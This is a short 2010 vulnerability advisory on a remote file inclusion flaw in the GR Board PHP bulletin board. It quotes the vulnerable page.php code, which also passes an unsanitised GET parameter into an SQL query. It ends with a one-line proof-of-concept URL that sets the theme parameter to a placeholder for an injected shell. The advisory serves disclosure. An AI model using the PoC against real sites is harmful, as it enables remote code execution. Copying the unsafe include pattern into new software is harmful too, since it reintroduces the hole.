2010/05/30

GR Board v1.8.6.1 stab (theme) Remote File Inclusion Vulnerability





download: http://sirini.net/grboard/board.php?id=grskin&articleNo=82
Author: eidelweiss
Contact: g1xsystem[at]windowslive.com

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Description:

GRBoard (VERSION 1.8 )is bulletin board system of Korea.
It is freely available for all platforms that supports PHP and MySQL.
But I find Remote File Inclusion vulnerability.

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--=[ Vuln C0de ]=-

[-] path/page.php

-----------------------------------------------------------------------------------------

// 페이지에서 사용할 변수 부르기
$getConfigList = array('theme', 'title', 'logo', 'useOutlogin', 'outlogin', 'usePoll', 'poll');
$countList = count($getConfigList);
for($i=0; $i<$countList; $i++) $config[$getConfigList[$i]] = getVar($getConfigList[$i]);
$content = @mysql_fetch_array(mysql_query('select var from '.$dbFIX.'layout_config where opt = \'page\' and var like \''.$_GET['id'].'|%\''));
$content = str_replace($_GET['id'].'|', '', $content['var']);
$path = 'layout/'.$config['theme'];
include 'layout/'.$config['theme'].'/head.page.php'; // <= 1
?>



include 'layout/'.$config['theme'].'/foot.page.php'; // <= 2


?>

-----------------------------------------------------------------------------------------

-=[ P0C ]=-

http://127.0.0.1/path/page.php?theme= [inj3ct0r sh3ll]

=========================| -=[ E0F ]=- |=========================

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